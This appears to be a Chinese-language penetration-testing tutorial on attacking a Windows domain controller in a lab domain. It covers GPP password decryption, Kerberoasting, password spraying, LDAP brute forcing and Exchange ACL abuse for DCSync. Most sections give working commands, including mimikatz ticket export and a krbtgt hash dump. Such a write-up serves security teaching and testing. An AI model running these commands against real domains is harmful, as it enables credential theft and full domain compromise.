攻击域控的几种常规方法
1. 组策略首选项和SYSVOL中的密码
在域内有一个默认的共享路径:\\<DOMAIN>\SYSVOL\<DOMAIN>\

此路径所有域内主机都可以访问,里面存放的是一些配置文件等。
如果域管理员使用组策略批量管理时,填入了密码,则此密码会被放入该共享文件夹中,虽然是被加密的,但是微软公开了其AES加密密钥,所以很容易就可以解开密码。
攻击演示
运行
输入gpmc.msc
,新建一个组策略对象:

编辑刚刚新建的组策略对象,新建一个本地用户:

之后添加Domain Computers
到组策略组中:

之后,就可以在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\<组策略对象对应ID>\Machine\Preferences\Groups
中找到Groups.xml
:

利用
Groups.xml
中的cpassword
项即是被加密的用户密码,使用PowerSploit
的Get-GPPPassword
模块可破解,它同时也可以自动搜索所有共享文件夹里的密码并还原。
也可使用kali命令gpp-decrypt
破解:

在Windows Server 2012及以后的版本中,此方法失效,补丁KB2962486
解决了此问题,密码将不再保存在组策略首选项中。
同样,在NETLOGON
目录中的某些脚本也有可能包含着账号密码。
2. Kerberoasting
即Kerberos TGS服务票证离线破解。
攻击者可以获取TGS服务票据,此票据是使用目标服务的NTLM hash加密生成的,加密算法为RC4-HMAC
。如果用户的口令长度不够或不够复杂,我们就可以模拟加密过程,类似破解MD5一样,生成不同的TGS作对比。
域内的所有主机和域用户都可以请求SPN,在获取到有价值的SPN后,任何域内用户都可以向域内的所有服务请求TGS,之后对其进行暴力破解。
攻击流程:
- 查询SPN,找到有价值的SPN,即注册在域用户账户(Users)下且权限较高
- 请求并导出TGS
- 破解
首先来看SPN,kerberos身份验证使用SPN将服务实例与服务登录账户相关联,是服务实例的唯一标识符。
SPN分为两种:
- 当一个服务的权限为Local System或Network Service,SPN注册在机器账户下
- 当一个服务的权限为域用户,SPN注册在域用户账户下
在Windows域内,默认情况下普通机器账户有权限注册SPN,而普通域用户账号没有权限。
查询SPN:setspn -Q */*
对于我们来说,有价值的SPN即在域用户下注册的SPN,因为机器账户不能用于远程连接,而且密码也非常复杂。
为了演示,先在本机上建立一个注册在域用户下的SPN。
setspn的命令格式如下:
Setspn -s http/<computer-name>.<domain-name> <domain-user-account>
-s
参数验证是否有重复项。
本地添加一个SQL server服务:
利用
请求SPN:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc.god.org"
利用mimikatz导出票据,有普通域用户权限即可导出:
mimikatz # kerberos::list /export
使用GitHub - nidem/kerberoast里的tgsrepcrack.py
离线破解票据:
python3 tgsrepcrack.py password.txt "0-40e00000-keke@krbtgt~GOD.ORG-GOD.ORG.kirbi"
也可以利用impacket工具包里的GetUserSPNs.py
来获取哈希再利用john或hashcat破解,具体演示可以在Hack The Box-Active | 白袍的小行星看到。
如果得到一个有权限注册SPN的域账户,可以手动注册SPN再进行Kerberoasting.
3. 对域用户进行密码喷射
密码喷射即对不同用户进行同一个弱密码猜解,适合拥有大量用户名但是不适合单个暴力破解的情景。
我们可以通过kerberos服务错误代码来枚举用户名:
- 账户启用:
KDC_ERR_PREAUTH_REQUIRED
- 账户锁定/禁用:
KDC_ERR_CLIENT_REVOKED
- 账户不存在:
KDC_ERR_C_PRINCIPAL_UNKNOWN
枚举域用户
利用nmap脚本进行扫描:
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='<DOMAIN>',userdb=<USERFILE> DC

或者使用msf的模块,auxiliary/gather/kerberos_enumusers
:

利用
得到域用户列表后,还应该了解一些关于域用户密码信息,防止爆破次数过多对账户造成影响。
使用GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing,命令格式如下:
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERFILE> <PASSWORD>

4. 爆破LDAP
同样地,在进行爆破LDAP时也需要知道两点:账户密码策略和账户名列表。
密码策略
在密码策略中,我们主要关注以下几部分:
- Maximum password age,表示密码过期的时间,默认为42天
- Minimum password length,表示密码的最小长度,默认为7
- Account lockout duration,表示被锁定的帐户在自动解锁前保持锁定的分钟数,默认为30
- Account lockout threshold,表示导致用户帐户被锁定的失败登录尝试次数,默认为5
- Reset account lockout counter after,表示失败登录尝试计数器重置为0次错误登录尝试之前,失败登录尝试后必须经过的分钟数,默认为30
如果在域外,可以使用kali的ldapsearch,前提是可以访问DC的389端口,并且至少有一个域用户的账号密码
ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" | grep lockoutDuration -A 5
其中maxPwdAge
、lockoutDuration
和lockOutObservationWindow
的值除以10000000即为秒数。
如果在域内,我们至少需要域内一台主机的权限,通过powershell获取:
import-module .\Microsoft.ActiveDirectory.Management.dll
Get-ADDefaultDomainPasswordPolicy
这里需要加载这个dll,下载地址:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

用户名列表
在域外,同样使用ldapsearch,也同样需要能访问DC的389端口,并且有一个域用户账号密码。
查询所有域用户:
ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectClass=user)(objectCategory=person))" CN | grep cn

查询所有域机器:
ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn

查询所有组:
ldapsearch -x -H ldap://192.168.52.138:389 -D "CN=test,CN=Users,DC=god,DC=org" -w hongrisec@2019 -b "DC=god,DC=org" "(&(objectCategory=group))" CN | grep cn

或者使用PowerView,需要同样条件,并且可以在域内查询使用。
利用
在域内,我们可以使用 DomainPasswordSpray 来进行爆破。
Invoke-DomainPasswordSpray -UserList .\users.txt -Password password -Verbose
虽然报错了,但是不影响爆破出结果。
还可以筛选出被锁定和禁用的用户,test用户已经被禁用:
Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts

域外,可以利用ldapsearch加简单循环达到暴力破解的目的。
5. Exchange服务器特定ACL滥用
安装完Exchange后,默认会自动增加一个Microsoft Exchange Security Groups
的Organizational Unit,其中有Exchange Trusted Subsystem
和Exchange Windows Permission
这两个组,前者是后者的成员:

在默认情况下,Exchange Windows Permissions
对安装Exchange的域对象具有WriteDACL
权限,那么其成员Exchange Trusted Subsystem
也会继承此权限。
如果域对象有WriteDACL
权限,那么就可以为指定域用户添加ACE,使其获得利用DCSync导出hash的权限。
只要获得以下三组任意用户权限,都可以完成上述操作:
- Exchange Trusted Subsystem
- Exchange Windows Permission
- Organization Management
利用
将test用户加入Exchange Trusted Subsystem
组,此时我们已知test用户的口令。

注意:test用户需有以下任一用户的权限:
- Administrator组用户
- Domain Admins组用户
- Enterprise Admins组用户
- 域控制器的计算机账户
在演示中,test用户为本地管理员权限,域内普通用户权限。
使用mimikatz导出krbtgt用户的hash:
mimikatz privilege::debug "lsadump::dcsync /domain:god.org /user:krbtgt /csv" exit
拿到hash便可以制作黄金票据,从而提权。
Invoke-ACLPwn 项目可以自动查找不安全的ACL并将用户添加到相应组进行利用。
小结
出于实用性的原因,ms14-068之类的手段没有写入,之后会单独分析这个漏洞,同样还有黄金票据等。